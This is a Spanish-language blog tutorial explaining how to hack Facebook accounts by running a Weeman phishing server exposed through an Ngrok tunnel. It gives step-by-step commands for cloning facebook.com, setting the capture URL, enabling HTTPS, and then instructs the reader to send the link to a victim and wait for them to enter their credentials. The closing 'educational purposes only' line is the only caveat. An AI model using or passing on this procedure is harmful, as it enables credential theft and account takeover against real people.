Weeman y Ngrok son las mejores herramienta para realizar ataques de phishing actualmente. Crea tu propio servidor de phishing para hackear cuentas de Facebook u otra red social.

Con Weeman podemos tener un servidor HTTP para phishing en Python, además tiene soporte para la mayoría de los sitios web (los más grandes). Por su lado, ngrok garantiza la creación de túneles seguros a un servidor local.

Anteriormente, publiqué una entrada sobre cómo hackear Facebook con Phishing. Dicho método es muy sencillo y a la vez difícil de dar resultados por ser muy predecible. Ahora veremos otra situación, que con algunos ajustes, las probabilidades de tener éxito aumentan considerablemente.

1. Weeman y Ngrok

• Primero descargamos y extraemos Ngrok

Una vez extraído, copiamos el archivo a la carpeta de binarios /usr/bin para ejecutarlo posteriormente.

sudo cp /ruta/ngrok /usr/bin

Descargar y extraer Ngrok

• Descargamos Weeman desde github

git clone https://github.com/samyoyo/weeman.git

• Para iniciar Weeman, abra la terminal y ejecute los siguientes comandos:

cd weeman 
chmod +x weeman.py 
python weeman.py
show

Descargar e iniciar Weeman

2. Hackear Facebook con Phishing

• Inicie Weeman con el comando show:

Comando show en Weeman

• Una vez ejecutado weeman, abra una nueva terminal y ejecute ngrok

ngrok http 8080

• Ahora en la terminal con Weeman abierto, ejecute los siguientes comandos:

set url https://facebook.com
set action_url xxx_ngrok.io
set port 8080
run

Comandos Set y run

Por supuesto, xxx_ngrok.io es la URL generada al ejecutar Ngrok anteriormente, ese enlace le servirá como sitio web de Phishing.

• La URL generada por Ngrok se encuentra en HTTP, para utilizar HTTPS escriba el siguiente comando al ejecutar Ngrok:

ngrok http -bind-tls=true 8080

Phishing HTTPS con Ngrok

Por último, envíe la URL a la víctima y espere a que abra ese enlace e inicie sesión con sus credenciales.

Captura de credenciales de Facebook

3. Tutorial: Crear un servidor Phishing

Consulte el tutorial paso a paso para una mejor comprensión de cómo crear un servidor phishing para, por ejemplo, capturar el usuario y contraseña de una cuenta de Facebook.

¡SOLO UTILICE CON FINES EDUCATIVOS! ¡Si te ha gustado el artículo, no dudes en compartirlo con los demás 😉 !